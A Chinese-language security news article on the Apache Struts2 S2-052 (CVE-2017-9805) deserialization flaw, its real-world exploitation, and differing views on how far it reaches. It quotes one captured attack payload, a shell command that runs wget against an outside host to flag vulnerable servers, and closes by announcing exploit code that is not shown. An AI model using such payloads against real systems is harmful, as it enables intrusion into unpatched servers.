9月5日,千疮百孔的 Struts2 应用又曝出存在新的高危远程代码执行漏洞(S2-052)。该漏洞由 lgtm.com 的安全研究员汇报,编号为 CVE-2017-9805 ,漏洞危害程度为高危(Critical)。其实,相似的漏洞已经在 Struts 中多次发现,今年早些时候攻击者还利用了 Windows 服务器中的 Apache Struts 漏洞散发 Cerber 勒索软件。
近日,来自思科 Talos 实验室和 NVISO 实验室的研究员也发现,已经有攻击者真实利用了 S2-052 的漏洞。
事实上,漏洞爆出的第二天,就有研究人员利用这个漏洞进行了渗透测试。
有一些研究人员表示,这个远程代码利用漏洞与 Struts 反序列化处理不受信任的数据有关,会影响自 2008 年以来所有版本的 Apache Struts,从 Struts 2.5 到 Struts 2.5.12。由于 Struts REST 通信插件在反序列化过程中无法合理处理 XML payloads,因此所有使用这个插件的 web 应用都有可能遭到远程代码执行攻击。目前财富 100 强的企业中,至少有 65% 的企业使用 Struts,因此,这些企业都应当提高警惕。
而来自 Contrast Security 的安全专家则表示:
这个漏洞只影响同时使用 Struts 2 和 Struts 2 REST 插件的应用。ZDNet 对此漏洞影响的报道有些夸大,他们可能默认了所有使用 Struts 2 的人都会使用 Struts 2 REST 插件。而我们所检测到的数据显示,我们所负责的 Java 应用使用 Struts 2 REST 插件的比例不到 1%。来自 Maven 的数据显示,Struts 2 核心库拥有 167 名下游客户,而 Struts 2 REST 插件库则只有 9 名下游客户,由此可以看出这个插件的应用范围和漏洞的影响范围。 |
不论是影响范围广,还是影响范围小,只要有漏洞,就有可能被攻击者利用。
来自思科 Talos 实验室和 NVISO 实验室的研究员就表示,有攻击者利用一个俄罗斯网站发送请求并搜集结果,检测是否存在漏洞尚未修复的服务器,以便进一步展开攻击。
漏洞爆出后,我们很快就发现攻击者利用这个漏洞的实例。目前,利用实例看起来只处于初步探测阶段,同时会发出请求、检测可能存在的未修复漏洞的目标。如下是我们检测到的发出 HTTP 请求的样本。 |
- <string>/bin/sh</string><string>-c</string><string>wget -qO /dev/null http://wildkind[.]ru:8082/?vulnerablesite</string>
这个请求将会发起 wegt 请求,将 HTTP 的相应结果写入 /dev/null。这意味着这个请求纯粹进行的是浏览检测活动,可以识别远程服务器上有哪些网站存在可被利用的漏洞。
NVISO 安全专家也检测到了类似结果:
由于该行为向 /struts2-rest-showcase/orders/3 发送了 POST 请求,因此我们第一时间检测到了这个活动抓包结果显示,这个活动主要是为了探查存在漏洞的目标:抓包到的 payload 实际上是 /bin/sh 命令,能执行某被入侵的俄罗斯网站发布的静默 wget 命令,获取请求浏览的网站名称,而下载内容则会被丢弃。 |
Talos 研究员还表示,这个活动探测过程中,有可能会发送恶意文件。目前还在进一步分析之中。
这再一次说明,只要有漏洞爆出,黑客黑快就会进行利用。在S2-052 漏洞爆出的 48 小时内,我们不断监测利用该漏洞的系统活动。其实漏洞出现的第一时间就有补丁发布,但是黑客为了钱,还是能很快进行逆向并开发出利用代码。如今的网络环境中,如果企业花几星期甚至几个月对漏洞进行应急响应已经来不及了。现在需要在几天或者几小时内迅速响应才能避免更多损失。在应急响应中,企业应当分秒必争。
以下附上攻击实例利用代码,仅做研究参考,严禁用于非法目的。